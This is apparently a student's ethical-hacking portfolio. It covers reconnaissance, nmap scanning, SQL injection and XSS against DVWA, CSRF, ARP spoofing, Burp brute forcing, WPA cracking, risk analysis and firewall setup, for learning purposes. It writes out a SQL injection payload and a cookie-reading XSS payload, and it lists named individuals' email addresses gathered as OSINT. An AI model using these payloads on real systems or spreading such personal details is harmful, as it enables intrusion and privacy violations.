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[bookmark: _Toc93077025]Ethical Hacker 1 – Basic Hacking and Pentesting Process
· What are the process steps of every pentest in general?
A pentest has 5 process steps, but only the first 4 are used in general, because ethical hacking does not involve the post-exploitation (and sometimes even exploitation) part because serious and unnecessary damage can be made to the system. 
These four steps are:
1. Intel gathering: during this step the pentesters gather all the information they need to proceed with the actual testing: email addresses, phone numbers, etc.
2. Footprint: this step consists of gaining more knowledge about the IT system that is going to be tested.
3. VuIn analysis: in this step some more in depth pentests are being made to look for vulnerabilities in the system. 
4. Exploitation (sometimes not even this process step is used in pentesting): after a weakness has been found, if the contractor agrees, the pentester can go further and use that weakness to enter the system. This step requires maximum caution in order to prevent unwanted damage to the tested IT system.[image: A screenshot of a computer
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· What are the minimal requirements for a good pentest contract and pentest report?
A good pentest contract is very important because of the legal issues involved. There can sometimes be a thin line between (illegal) hacking and ethical hacking. Therefore, the contract should contain the following:
1. Indemnification clause: the client allows the testers to do the pentest and becomes aware of the risks, since the testers are not liable for these risks.
2. Confidentiality agreement: it is important to keep the test and especially its results confidential. Otherwise, ill-intended people could find out about a system’s weaknesses way before the client can repair them and the system could be severely damaged.
3. Information about the tested systems: it is important for the pentesters to know precisely what they are dealing with.
4. Test origin and period: the client should know when a test is being carried out to prevent the confusion between it and an actual cyber-attack.
5. Escalation procedure: it is always indicated to think of every scenario, even the worst-case one. Both parties should know from the very beginning what would happen in case of an unforeseen event.
After the pentest is finished, the results must be written on a report.
A good report should contain the following:
1. The scope of the pentest
2. The goals of the pentest
3. The findings
4. The approach
5. Conclusions
All of this should be included in a clear and concise presentation in front of the client.
[bookmark: _Toc93077026]Ethical Hacker 2 – Law, Ethics and Responsible Disclosure
· Find a few examples of cyber-crime cases (sentences and penalties). If you are a student from abroad, find such example cases from your home country. 
My home country, Romania, is among the last countries in Europe to adopt a cyber-security set of laws. Until now I was not aware of any sentence for this crime in my country and after rigorous research, I still did not manage to find anything. However, it is quite often that public Romanian institutions get attacked because of their low security. The most common cyber-attacks against these institutions consist of obtaining passwords and leaking confidential data. Attackers from Romania and eastern Europe, especially from Russia take advantage of the poor security of our institutions’ IT systems and for now there are very little to no consequences for them.
· Describe what you will do if you find a high risk vulnerability, unexpected, in a website or IT-infrastructure. Take into consideration if you want to make money or make the world a safer place.
I would comply to the disclosure regulations, if applicable and would report the vulnerability found straightaway, no matter what the preconditions and the promises of the company may be. In my opinion it would not be worth the risk since there are countless other ways to make money.
· Find two or three companies and explain the concept of responsible disclosure they have in place and compare those companies.
1. Philips -> they put more emphasis on the reward and are very vocal when it comes to what the tester can and cannot do. Their reporting procedure is slightly more complicated in comparison to the other two companies.
2. Microsoft -> they are very specific when it comes to defining the risks and vulnerabilities found by the tester. They specify that no legal action would be taken against the tester, but no mention of a reward. They believe that the knowledge gained throughout this process is rewarding enough.
3. Carestream -> their reporting procedure is very simple and straightforward: one form the tester has to fill in. They specify that no legal action would be taken against the tester, and also a mention of a reward. They are very specific when it comes to what the tester should do and what the company should do throughout this process.
· References:
· Philips: https://www.philips.com/a-w/security/coordinated-vulnerability-disclosure.html 
· Microsoft: https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RW5Alv 
· Carestream: https://www.carestream.com/en/us/services-and-support/cybersecurity-and-privacy/coordinated-vulnerability-disclosure 
[bookmark: _Toc93077027]Ethical Hacker 3 – Footprinting, Reconnaissance and Social Engineering
 
· Explain why this is an important phase of the pentesting process.
This is an extremely important phase of the pentesting because this is the part in which the testers gather all the information that they need to create a plan. If this phase is taken seriously and is carried out properly, then the rest of the pentest will be significantly easier and the objectives will be much clearer. 
· Make sure that you can show and explain at least 3 different techniques for searching useful information.
1. Google searching -> Google can be used for hacking. By typing very specific queries, many useful and interesting things can be found and made. This is an easy way to find weaknesses on low security websites.
2. Network information discovery -> this technique is gathering private information from online databases and is mainly used to discover more about people or entities.
3. Social network analysis -> it involves manual searching on social media networks, but this process can also be facilitated by automated tools, such as Social Mapper or Maltego.
· Find how frontpage of nu.nl looked like 10 years ago using waybackmachine.org
[image: Graphical user interface, website
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· Discover what URLs are hidden from search robots in robots.txt files of Pentagon and Whitehouse.
If the domain contains a robots.txt file, the administrator of the domain can specify the URLs that should not be taken into consideration by search bots. As a consequence, the search engines will not check these URLs.
The robots.txt file of the Pentagon:[image: Text
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The robots.txt file of the White House:[image: Graphical user interface, text, application, chat or text message
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· Find at least 3 people including email adress (not management) that work within a large International Company, for example using social networks like Linkedin
1. Amanda Yaw – senior visual designer at Zappos family of companies: amandayaw@justsayyaw.com (Zappos) 
2. Georgios Gousios - g.gousios@tudelft.nl (Facebook)
3. Jessie Xu - jessieunc@gmail.com (Google)

· Use tooling for:
· Traceroute to determine path to fontys.nl, fhict.nl
Traceroute to fontys.nl: using the command tracert followed by a URL you can display possible routes and measure the transit delays of packets across an IP.
[image: Text
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Traceroute to fhict.nl: applying the same principles to a different website this time:
[image: Text
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· determine which DNS and email servers are used by fontys and fhict:
DNS and email servers used by fontys: in order to find out this information, the nslookup instruction is required. After that, I wrote fontys.nl after the generated text.
[image: Text
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DNS and email servers used by fhict: I have done the same thing, but typed fhict.nl at the end instead:
[image: Text
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· determine which ip-adressess are used by fhict by whois utility and non whois tool

IP addresses used by fhict:
Whois utility:
I have searched whois on google to find the website whois.com. I have searched for fontys and the result is this:
[image: Table
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              Non whois utility:
           IP adress of fontys.nl:
[image: Text
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· run the harvester utility for domain fontys.nl
Running the Harvester utility by typing the command “theHarvester” in the kali machine terminal:
-d represents the domain, -l represents the limit of the number of results, and -b represents the search engine:[image: Text
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References:
· https://www.gohacking.com/use-google-for-hacking/
· https://web.archive.org/web/20110225155609/http://www.nu.nl/
· https://www.whois.com/whois/fontys.nl
· https://www.defense.gov/robots.txt
· https://www.whitehouse.gov/robots.txt



[bookmark: _Toc93077028]Ethical Hacker 4 – Network scanning and enumeration
Credentials:
[image: A screenshot of a computer
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· Read, show, and explain about the different type of portscanning techniques.
The terminal has found 37 out of the 256 possible hosts in the 192.168.167/24 network running by using the -sP scanning. It also works for finding my own hosts: [image: Graphical user interface, text
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Example of a TCP SYN scan:[image: Text
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example of a TCP connect scan:[image: Text
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The -sT scan type is for the TCP connection scanning. The server receives SYN from the client to find out if the server is there. After that, the server sends a response containing SYN/ACK to notify the client of its presence. Finally, the client sends ACK to notify that they are ready to establish a communication. Nmap can find out if a port is open or closed by using this 3-way handshake. In the given example, the ports 80 and 443 have been chosen because they are used to deliver http services.
example of a UDP scan:[image: Text
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The -sU scan type is for the UDP connection scanning. It sends UDP packet for the targeted port. The port is close if an ICMP (Internet Control Message Protocol) “port unreachable” is returned. Otherwise, the service responds with a UDP packet.
· Read, show, and explain about service scans for enumeration. 
Example of a version detection scan:[image: Graphical user interface, text
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The detection command searches through open ports to find useful information about what is currently running and how. This example shows the service and version run on port 80.

· Read, show, and explain how you can detect the OS of a system.
Example of an operating system detection scan:[image: Text
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The OS detection scan is run using the -O flag. Nmap sends multiple TCP and UDP packets to the remote host and examines the responses thoroughly. After multiple tests have been performed, nmap searches through the contents of its database to look for a match.






[bookmark: _Toc93077029]Ethical Hacker 5 – Path traversal, File inclusion and Command injection

· What is path traversal and how does it work?
Path traversal is an attack through which the content of files outside the root directory is shown. The most common method is using the “../” sequence. Path traversal is not as common as SQL injection, for example, but is still a threat for the web applications.
· What is remote file inclusion and how does it work?
Remote file inclusion is a method used by attackers to get the web application to include a remote file. Malicious code can also be entered for the web application to execute it if there is no security in place for such input. Below there are some examples of file inclusion attacks:

Modifying the URL (page=file4.php) to find a hidden file:
[image: ]

Modifying the URL (using the “../” sequence repeatedly) to get the user account:[image: Graphical user interface, text, application, Word

Description automatically generated]Modifying the URL to get the OS type:[image: Text

Description automatically generated]Modifying the URL to find the TCP connections:[image: Graphical user interface, application

Description automatically generated]Modifying the URL to find the UDP connections:[image: Graphical user interface, text
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Modifying the URL to include the Google search page to the initial web page:[image: Graphical user interface, text, application, chat or text message
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· What is command injection and how does it work?	
Command injection is a form of attack in which the commands are transmitted by exploiting one of the application’s vulnerabilities, most commonly through user input, when the input validation is not sufficient or non-existent. Below, there are a few examples of command injection attacks:







Browsing the directory using the ls command:[image: Text
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Using the cat command and index.php to create a new form:[image: Text
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Using command injection to find the name of the user, the host name, and the IP address:[image: Text
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· How are path traversal, remote file inclusion and command injection related?
All of these methods can be used on web applications, via the user input. They mainly make use of the lack of input validation, which is relatively easy to solve but it still is an important security issue among many web applications.
· Resources:
· https://www.acunetix.com/blog/articles/path-traversal/
· https://www.acunetix.com/blog/articles/remote-file-inclusion-rfi/
· https://www.imperva.com/learn/application-security/command-injection/
[bookmark: _Toc93077030]Ethical Hacker 6 – SQL Injection
· A lot of interesting MySQL challenges are available where you can to 'create' programming code containing SQL statements.
· DVWA - SQL injection & Blind SQLi (style 1) -> Objective: There are 5 users in the database, with id's from 1 to 5. Your mission... to steal their passwords (hashes) via SQLi.
Performing an injection attack to get all 5 users: the data in a form is between ‘’ these characters. If one of them is typed in the form, it counts as the end of the message. What goes after is considered actual code and it will be executed. If an information that is always true, such as 1=1, all information will be displayed:[image: Table

Description automatically generated with medium confidence]
Figuring out the number of columns: using the same technique, typing an SQL command after the ‘ character, it will be executed.
[image: Shape

Description automatically generated with medium confidence]	
In this instance, the table has 2 columns.
[image: ]
Typing the command below inside the textbox will generate this information:
' UNION SELECT user, password FROM users#[image: A picture containing text
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Resources:
· https://portswigger.net/web-security/sql-injections
[bookmark: _Toc93077031]Ethical Hacker 7 – XSS and CSRF
[bookmark: _Toc93077032]Part 1: XSS
· What is cross-site scripting and how does it work?
Cross site scripting is a security vulnerability found in some web applications. Cross site scripting attacks are a way for the attackers to inject client-side scripts into the web pages. Such a cross site scripting vulnerability can be used by attackers for a variety of purposes, such as bypassing the access controls. However, given the large amount of possibilities, there is a great variety in risk of these attacks depending of the sensitivity of the data handled.
Example of cross site scripting: first doing what I am supposed to do with this form to see the result:
Reflected Cross site scripting:[image: Graphical user interface, text, application
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Typing <script>alert("The script in the user input works!")</script> in the textbox:[image: Graphical user interface, text
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Typing <script>alert(document.cookie)</script> in the textbox:
[image: Graphical user interface, text, website
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These above are examples of injection via the input form.
Stored XSS: initial completion according to the purpose of the form:[image: Graphical user interface, text, application, email
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Injecting script code in the message field:[image: Graphical user interface, text, application, email
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Typing the text above will lead to this:
[image: Rectangle

Description automatically generated with medium confidence]

· Explain the different types of XSS attacks: persistent versus non-persistent.
The screenshots above are made for stored and reflected cross site scripting. As a matter of fact, persistent XSS is another name for stored XSS. This a more devastating sort of XSS vulnerability. It occurs when the data provided by the attacker is saved by the server and becomes a regular part of the web page, for every user to see. The screenshot above, showing the message “It works!” is displayed every time I am opening the respective DVWA page. It has been saved and it is an integral part of that page.
Non-persistent XSS or reflected XSS is the most common type of web vulnerability. It can be noticed when the data provided by the user, usually in a form, is taken and used by the server and displays the results immediately without properly sanitizing the content.



· Give some other examples of XSS from Escape Alf.
This example is very similar to an SQL injection attack. In the input field, the first characters to be typed in represent the characters in the actual code that mark the end of the input text. What is written after these characters is considered actual code and will be treated accordingly.
[image: Graphical user interface, text, application, email
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· XSS exploitation possibilities conclusion: what could an attacker do if XSS is possible?
There is a wide range of possibilities when it comes to XSS attacks. They could use persistent XSS to permanently modify the contents of a web page, at least until the code is cleaned up. The attacker could also use different XSS types in order to steal cookies, harvest credentials, force downloads, record audio or take pictures, and many more.
· How to prevent XSS attacks?
XSS filters need to be created in order to sanitize all the data the website receives. The main points of data entry that require sanitizing are the URL, the cookie data, the headers data and the database data, if not properly validated on user input.
[bookmark: _Toc93077033]Part 2: CSRF
· What is CSRF and how does it work?
Cross site request forgery is a type of a malicious exploit of a web page in which unauthorized commands are submitted by a user that the web application trusts. It can be transmitted through hidden forms, specially crafted image tags, or javascript XMLhttp requests. This makes it possible to work without the user acknowledging it. In a CSRF attack the user is tricked by an attacker into submitting a web request they did not intend. This may cause actions to be made on the website that can include even client data leakage, change of session state or manipulation of an end user’s account.
The input data can be seen in the URL. This is a severe vulnerability, since the information is taken from that URL, so whatever is written there will be registered as valid.
[image: Graphical user interface, text, application, email
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If I modify the URL, I can change the password. Sensitive information such as the password in this case can be easily changed without authentication being required.[image: Graphical user interface, text, website
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If I log in using the new credentials in the URL, it will work. The old password is no longer available. I have changed the user password using a CSRF attack.
[image: A picture containing graphical user interface
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· Explain the different way of cross site request forgery attacks.
There are several ways of CSRF attacks. The most common ones are modifying GET or POST statements. Before the attack, the attacker studies the website so the attack can blend in the code without causing any suspicions. Usually, for a GET statement, a <a> tag is modified in the HTML code, by embedding a bad request in a hyperlink. For a POST statement, a CSRF attack can be delivered by modifying code inside a <form> tag.
· Resources:
· https://resources.infosecinstitute.com/topic/how-to-prevent-cross-site-scripting-attacks/
· https://en.wikipedia.org/wiki/Cross-site_scripting#Related_vulnerabilities
· https://en.wikipedia.org/wiki/Cross-site_request_forgery
· https://www.imperva.com/learn/application-security/csrf-cross-site-request-forgery/


[bookmark: _Toc93077034]Ethical Hacker 8 – Network Sniffing and Spoofing
· What can and cannot be seen when sniffing traffic with Wireshark?
On the capturing screen, the user can see the time of capture, the number of each package, the source (the IP address of the device where the traffic comes from), the destination (the IP address that the package is trying to reach), the protocol, the length of the package, and additional information.[image: Graphical user interface
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· Try to intercept a plain text password (HTTP or FTP) by capturing a login-name and password:
· The first step is to enter on a non-secured website with a login form. In this example, I am using one of my older websites made for a semester 2 assignment.
[image: Graphical user interface, application, website
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This is followed by typing a random username and password. In this case, the username is “something” and the password is “somethingelse”.[image: Graphical user interface, text, application
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After filtering the traffic using the instruction on the green background, the name and file in question of the website is present in 2 of the 3 entries.[image: ]
Now that the correct package has been found, the following instructions will lead to more information about it:
[image: Graphical user interface, text, application, email
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The username and password can be seen in the Follow HTTP Stream page, and they have been highlighted by me:[image: Graphical user interface, text, application
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· Demo and explain ARP spoofing a private VLan in the seclab with arpspoof.
First, I will find out what my IP address is, using ipconfig on my windows command prompt:[image: A picture containing text
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I will open 2 terminals in the kali machine because I have to initialize the ARP spoof twice. In the following command, i stands for interface, in this case wlan0, t is for target, which is the windows IP address, followed by the default gateway.[image: Text
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· Explain what can be done to protect against ARP spoofing.
There are several ways you can prevent ARP spoofing attacks. One of them is to invest in detection software that will allow you to spot potential threats. Alternatively, you could set yourself up with packet inspection software, that will check all the data on the network perimeter. This type of filtering can usually be performed by a firewall. Another option would be to create a static ARP address for every device on the network. Static ARP addresses cannot be manipulated by ARP reply packets. Although useful, this will only mitigate the most basic of threats. 
· Resources:
· https://proprivacy.com/blog/ARP-spoofing
· https://www.youtube.com/watch?v=lb1Dw0elw0Q
· https://www.youtube.com/watch?v=FcwrrAT1H7o
· https://www.guru99.com/wireshark-passwords-sniffer.html
· https://www.golinuxcloud.com/man-in-the-middle-attack-arp-spoofing/
· https://www.youtube.com/watch?v=8SIP36Fym7U








[bookmark: _Toc93077035]Ethical Hacker 9 – Password cracking
· What is password cracking?
Password cracking is the process of recovering passwords from data that has been stored in or transmitted by a computer system in scrambled form. A common approach (brute-force attack) is to repeatedly try guesses for the password and to check them against an available cryptographic hash of the password or a list of passwords. 
· How does password cracking work?
I began by logging in on DVWA and went to the Brute Force page. I typed my username and a wrong password on purpose, then pressed the submit button. After this, I opened Burp Suite and went to the proxy tab.
I looked at the request and response for this specific request and sent this line to the intruder:
[image: A screenshot of a computer
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Adding a payload marker on the password field:
[image: Graphical user interface, text, application, email
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Adding the most common 100 passwords on the simple list:
[image: Graphical user interface, text, application, email
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I went back to DVWA and intentionally typed a wrong password so I can copy the message received.
[image: A screenshot of a computer
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I have pasted the message in the grep section so that the incorrect passwords, which will generate this message, will be flagged:[image: Graphical user interface, text, application
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I then went to the attack section, with this part automatically filled in, and began the attack.
[image: Graphical user interface
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The attack tries all the passwords, and if the Username and/or password incorrect is displayed, the box will be ticked. The only unchecked password in this case will be the correct one.
[image: Table
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There are many alternatives to this. For instance, the message generated by typing the correct password can be copied and pasted, and then only the correct password will be checked.
· Give examples of famous password cracking attacks.
On June 5th, 2012, LinkedIn has been hacked and the passwords for nearly 6.5 million user accounts have been stolen by cyber criminals. As a result, a United States grand jury indicted Nikulin and three unnamed co-conspirators on charges of aggravated identity theft and computer intrusion.
In 2013, Tumblr has been attacked by hackers. 65,469,298 unique emails and passwords were leaked from Tumblr. The data breach's legitimacy is confirmed by computer security researcher Troy Hunt.
· How to make password cracking harder for an attacker?
The easiest way to make password cracking harder for an attacker is to use a long password which contains lowercase and uppercase letters, numbers, and special characters. This makes the password cracking process extremely lengthy and difficult.
· Resources
· https://en.wikipedia.org/wiki/Password_cracking
· https://en.wikipedia.org/wiki/List_of_security_hacking_incidents









[bookmark: _Toc93077036]Ethical Hacker 10 – Wireless Hacking
· Crack WPA (2) with airmon-ng and aircrack-ng from Kali Linux.
I have downloaded a new kali virtual machine using this link: https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/
I have installed it and entered it. Afterwards, I have used s WiFi USB-stick Netgear WNA1100, which I have borrowed from the ISSD.
Afterwards, I have started the wireless interface using airmon-ng: 
[image: Graphical user interface, application

Description automatically generated]
Then, I am typing iwconfig to make sure there are no other athX interfaces.
[image: Text
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Using airmon-ng again, this time in order to start 	the wireless card on channel 9 in monitor mode:
[image: Text
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Using airodump-ng to discover the information I need from the wi fi network that I am about to attack: megabeast1:
[image: A picture containing text
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Copying the authentication handshake and pasting it next to the capture instruction from airodump-ng:
[image: A screenshot of a computer
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The handshake has happened after opening a separate terminal and using the aireplay-ng instruction along with the authentication handshake. The initial terminal is notified and displays the WPA handshake on the botton left of the screenshot:
[image: Graphical user interface, text
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After obtaining the needed information and creating the handshake, I can now stop wlan0mon and move on to the next step: unzipping the rockyou.txt file:
[image: A screenshot of a computer
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Using the aircrack-ng instruction to start the password cracking process:
[image: Text
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The process has started, the program tries different elements of the rockyou file until it finds the one that matches the actual password. In this case, the correct password is Zanzibar, and it has been cracked after 2 minutes and 57 seconds.
[image: A screenshot of a computer
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[bookmark: _Toc88568796][bookmark: _Toc93077037]Risk Consultant 1 – Security Threats
· To get a better understanding of these threats and attacks find articles on internet about malware, spam, phishing, adware, ransomware, DDOS attacks, Advanced Persistent Threats what it is, how they work and how to protect. Give a brief description of what it is, how it works and how to protect your 'company X' in your portfolio.
	Name
	Definition
	Way of working
	How to protect

	Malware
	Software intentionally designed to cause damage to a computer, server, client, or computer network. There are several types of malwares, such as viruses, trojan horses, or worms.
	Virus-> It requires user action to transmit from one system to another and attaches bits of its own malicious code to other files.
Trojan horse->it can hide in cracked software, in shady websites, etc. Trojan is a way for the attackers to send malicious software.
	Virus-> Learn to spot phishing, invest in security, do not click suspicious links, check their authenticity
Trojan-> run periodic diagnostics scans, get a firewall, use complex passwords, avoid suspicious websites.

	Spam
	The use of messaging systems to send multiple unsolicited messages to large numbers of recipients
	Malware can be sent via these messages through phishing, the victim can fall to a scam or simply have malware installed on their device.
	Learn to spot phishing, install security, report found spam, use two-factor authentication

	Phishing
	An attack in which the attacker poses as a trusted person or organization to trick the victim into sharing sensitive information or giving away their money
	The email invites the victim to click on a link and take an action or download an attachment. This can lead to the victim giving away sensitive information or downloading malware on their device.
	Do not open e-mails from senders you are not familiar with. Don't ever click on a link inside of an e-mail unless you know exactly where it is going. Mouseover the link to see if it's a legitimate link.

	Adware
	Unwanted software designed to throw advertisements up on your screen, most often within a web browser.
	Adware generates revenue for its developer by automatically displaying online advertisements in the user interface of the software. 
	Practice safe computing. Proceed carefully when downloading software, install security

	Ransomware
	Type of malware that prevents users from accessing their system or personal files and demands money in order to give back access.
	The attacker uses spam, advertisements, or phishing, attaching malicious files to as many people as possible.
	Prevent it from happening in the first place, invest in security, create backups of your data regularly

	DDOS attacks
	Form of attack consisting of sending large amounts of traffic from multiple sources to a service or website, intending to overwhelm it. 
	A huge amount of traffic all at once can block the site and deny access to its legitimate users.
	Plan ahead of such an attack, have protection turned on at all times

	Advanced Persistent Threats
	Covert cyber-attack on a computer network where the attacker gains and maintains unauthorized access to the targeted network and remains undetected for a significant period.
	During the time between infection and remediation the hacker will often monitor, intercept, and relay information and sensitive data.
The malware searches for vulnerabilities in the system and exploits them.
	Multiple layers of security working together, constant network monitoring, install a firewall, install antivirus software.



· Describe the organization you are implementing your network for and use the CIA matrix to describe each item in a (few) line(s) of text in the context of information relevant for your example company. This will be input for the next Body of Knowledge subject.
I am going to use an imaginary example company named DartsMasters. This is the name of the website I created during the third semester, and it is a forum for darts enthusiasts to share content and discuss topics related to this sport.
[image: Text
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Resources:
· https://www.malwarebytes.com/malware
· https://en.wikipedia.org/wiki/Malware
· https://www.malwarebytes.com/spam
· https://www.malwarebytes.com/phishing
· https://www.malwarebytes.com/adware
· https://www.malwarebytes.com/ransomware
· https://www.malwarebytes.com/ddos
· https://www.cisco.com/c/en/us/products/security/advanced-persistent-threat.html
· https://www.malwarebytes.com/computer-virus
· https://www.malwarebytes.com/trojan



[bookmark: _Toc88568797][bookmark: _Toc93077038]Risk Consultant 2 – IT Risk Analysis & Business Continuity
· Perform a qualitative risk analysis for the company environment that you are analysing and developing this semester. 

1. List and describe the threats for your company in terms of possible attackers (threat actors) and their motivations.
2. For each threat determine and explain the probability (likelihood) on a qualitative scale. 
3. For each threat determine and describe the possible impacts if it occurs. 
The impact will be determined by the following factors:
[image: Graphical user interface, text, application
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Determining the impact level per event:
[image: Table
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Determining the probability for each event:
[image: Table
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Determining the risk (probability * impact):
[image: Chart, table
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[image: Table
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Description automatically generated with medium confidence]


· Take your top 5 risks from the Risk analysis assignment and think of as many mitigating measures as possible. Determine physical, technical, and organizational measures that are needed and find a good balance in preventive, detective, repressive and corrective measures.
The 5 biggest risks are:
1. Ransomware
2. Malware infection
3. Personal data breach
4. Phishing
5. DDoS attacks
A good prevention method for phishing, ransomware and malware infection is raising awareness to the problem by instructing the employees to pay maximum attention to suspicious emails and websites. They should always check the email address, not click links, and not download suspicious attachments.
In order to prevent data breaches, the code surrounding data should be as secure as possible. The information in the database has to be encrypted and security measures need to be put in place, such as 2 factor authentication, protection against cross site request forgery, or protection against SQL injection.
A famous backup strategy is 3-2-1. It has 3 principles. The first one is that the employee should keep at least 3 copies of their data, including the original copy and 2 backups. Also, in order to improve safety, the backups should be stored in different places. The second principle states that the backup data should be kept on 2 different devices, in case one of the devices gets corrupted. It is suggested to store the two backups on 2 different storage types, such as external hard drives, or USB flash drives. The third and final principle addresses the importance of keeping at least one of the copies offsite. Storing the data in another distance remotely significantly increases the security.
Redundancy is an engineering term which means “the duplication of critical components or functions of a system with the intention of increasing reliability of the system, usually in the form of a backup or fail-safe, or to improve actual system performance”. In ICT there are four main forms of redundancy: Hardware, software, information, and time, with hardware redundancy being the most common one. This means adding a duplicate device or component in the system with the goal to ensure zero downtime. Server redundancy means creating a replica of the company server. It is kept offline and in case of failure, downtime, or excessive traffic, likely cause of a DDoS attack at the primary server, the redundant server can be turned on and take a share of the primary server’s load. This is a very good disaster recovery option, but it comes with doubling the cost of the server solution, along with doubling the storage space.
RTO and RPO are part of the business impact analysis, which differentiates critical and non-critical organization functions. For each function, two values are assigned: Recovery Point Objective (RPO) and Recovery Time objective (RTO). RPO is the acceptable amount of data that will not be recovered. RTO is the acceptable amount of time to restore the function.

· Resources:
· https://www.ubackup.com/3-2-1-backup-strategy.html
· https://www.your-itdepartment.co.uk/knowledge-bank/what-is-redundancy/
· [bookmark: _Toc86739071]https://en.wikipedia.org/wiki/Business_continuity_planning#Maximum_RTO


[bookmark: _Toc93077039]Security Engineer 1 – Information Security Concepts

· Explain the concept of CIA in your own words.
The CIA security triad is a model used to determine the level of security within an organization. The three functions of CIA are:
[image: Chart, diagram
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· Confidentiality
Confidentiality is the way the system ensures that only the authorized person(s) or system can view or change the data. Confidentiality can be achieved through methods such as IDs or passwords.
· Integrity
Integrity is the way the system makes sure that the information or data is accurate and can be trusted. Data encryption and hashing can ensure system integrity.
· Availability
Availability means that the data and information are available whenever required. Software upgrades and network optimization can help achieving availability.
Resources:
· https://www.deepwatch.com/blog/cia-in-cybersecurity/
· https://flank.org/faqs/what-is-the-concept-of-cia
· https://www.bmc.com/blogs/cia-security-triad/
· https://www.techopedia.com/definition/25830/cia-triad-of-information-security
[bookmark: _Toc93077040]Security Engineer 2 – Network Separation and Segmentation
· Design and implement a network with 2 pfSense firewalls, a web server in the DMZ, a management server, and a workstation.
Throughout the exercises for this learning outcome, I will work on creating a network according to this diagram: [image: Diagram
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The first step is to deploy a virtual machine with the pfSense template:[image: Graphical user interface, text, application, email
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Creating 3 interfaces using the pfSense machine: WAN, LAN, and the DMZ: In this screenshot, I am assigning an IP address to the DMZ. The same step has been taken for the WAN and LAN interfaces. The available interfaces shown are the ones I have created for this exercise:[image: Text
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After configuring the interfaces, this is the result: the IP addresses are displayed next to their name. Each interface has been assigned using setting 1. Separate virtual machines have been created for the LAN and DMZ.[image: Text

Description automatically generated]
Once the machines have been created, I entered the LAN machine and accessed the pfSense website, using the IP address of the LAN interface:[image: A picture containing text, monitor, screenshot, screen
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[image: A picture containing graphical user interface
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Configuring the network settings. In the wired settings of the LAN Linux machine, the DNS has been written down, and the IPV4 method has been set to automatic (DHCP).[image: A screenshot of a computer

Description automatically generated with medium confidence]










Going to system settings on the pfSense website. Changing the DNS resolution behavior setting to using local DNS.[image: A screenshot of a computer

Description automatically generated with medium confidence]
In order to check if the DNS is running, after applying the previous settings, I will ping google.com. If it works, it means that the server is running.[image: A screenshot of a computer

Description automatically generated with medium confidence]
To further test the DNS, I tried pinging the DMZ. It is successful.[image: Text
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Setting up the firewall on the pfSense website. I am adding a new alias. I am assigning the IP of the host, a description stating what this alias does, and the name, in this case RFC1918. This alias is needed for establishing a rule in the next step.[image: A screenshot of a computer

Description automatically generated with medium confidence]
Rules can be put in place for the DMZ, WAN, and LAN separately on the pfSense website.As an example, I have created a rule which has the recently created alias as a destination. This rule, as the description states, prevents the DMZ from accessing the outside network. If this rule is turned on, I will no longer be able to access the internet on the DMZ machine.[image: A screenshot of a computer

Description automatically generated with medium confidence]
On the ubuntu desktop machine (the WAN), I am trying to ping the DMZ. On the upper part of the terminal, the packets could not be received, but afterwards there was no problem. This is proof that the settings and rules established on the pfSense website work, and the firewall is actually functional. When the action is set to pass, the ping is successful, but when the action is set to block, the ping instruction will not work.[image: Graphical user interface, application
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[image: A screenshot of a computer
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Setting up a web server:
This requires apache2 to be installed. This can be done by typing sudo apt-get install apache2 in the terminal. If the installation has been successful, if the user types the machine’s IP address, the default apache screen should be displayed. [image: Graphical user interface, text
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The page also shows to configuration of the apache2 folder. The default-000.conf file contains default information such the server name or server alias for example. I have created a new file, called localdomain.conf for my own web server, copied the content of the default file and then pasted it. I have modified it to suit my needs. [image: Text
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Next up, I am going to change the aspect of the webpage in order to display my own instead of the apache default: [image: ]
Typing this command opens the html file: [image: Text

Description automatically generated]
The web page now shows this: [image: Graphical user interface, text
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The virtual host website is now up and running.
· References:
· https://www.youtube.com/watch?v=GZLB3s_YhZ8&list=PLseqMIwVJlNIlauKIp95HLRYNU0BH98pm&index=4
· https://docs.netgate.com/pfsense/en/latest/recipes/example-basic-configuration.html
· https://ubuntu.com/server/docs/web-servers-apache
· https://www.contradodigital.com/2021/02/19/how-to-host-a-single-website-behind-a-pfsense-firewall/

[bookmark: _Toc93077041]Security Engineer 3 – Secure Network Connections
· Generate a self-signed certificate on your web server.
The web server I am working with is called localdomain.com and it has been created after configuring apache2. I have created the localdomain file by copying the content of the default file into it and making some modifications. The default file contains some default settings and values that need to be changed according to the user’s needs. For instance, in the new localdomain.conf file, I had to change the server name to localdomain.com, the server alias to *.localdomain.com, the server root to /var/www/localdomain, and the server admin to one of my email addresses. Any potential errors with the servers are sent via email to the address provided. The server alias is a tool that helps the user access the website even if they write something ahead of localdomain.com, such as “www”.[image: Text
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The certificate file is the place where the generated certificate is being stored.[image: ]
The certificate is generated by typing the following command: 
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/apache.key -outt /etc/apache2/ssl/apache.crt.
This will generate an interactive menu, in which I am typing the user data and website data, which will be present in the certificate: country, company, email address, etc.[image: Text
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Once this has been done, I can go check the certificate on the web browser:[image: Graphical user interface

Description automatically generated with medium confidence][image: Graphical user interface, text, application
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· Execute this command on your webserver: 
$ openssl s_client -showcerts -connect localdomain.com:443
[image: Text
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[image: Text

Description automatically generated]
[image: Text
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· A digital certificate contains a lot of information, this can also be seen in the output of the command above. What information can you find in the digital certificate? Make a comparison between a self-signed certificate and an extended Validation certificate (recognizable at the green area within the URL). Execute the same command, but now for a website with EV-certificate.
Getting a certificate from Instagram.com: [image: Text
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[image: Text
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· What are the similarities and differences between the certificates?
Both certificates are quite similar, the structure is the same, and the overall content is following the same template, showing the origin, subject, creator, etc.
The main difference is the return value. Its purpose is to tell if the certificate is self-signed or not. The certificate is considered to be valid only if it is secure. In some instances, a certificate could work but not be considered valid because of its lack of security. Self-signed certificates are not safe, but for the purpose of this exercise it is good to study them and understand their way of working.
· SSH exercise:
The first step is installing ssh on the ubuntu terminal.[image: ]
The IP address for the ubuntu machine is 172.16.1.11.[image: Text
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I have installed PuTTY on my windows machine. I have entered the IP address of the ubuntu machine and the SSH connection.[image: Graphical user interface, application
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After pressing the Open button, a terminal is being displayed, where I am asked to type the credentials. I am logging in as student, this being the main username and password for both machines. The terminal also asks for a verification code. The full explanation for it, along with screenshots, can be found on the 6th chapter of the Security Engineer Learning Outcome: System Hardening.[image: Text
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The login has been successful. The connection has been established. The who command shows the users that have logged in: student pts/2 is the windows machine, and student pts/1 is the ubuntu machine.[image: Text

Description automatically generated]
· Make screenshots of wireshark to capture the 4 steps of the process.

[image: Table

Description automatically generated with medium confidence]


[image: ][image: Table
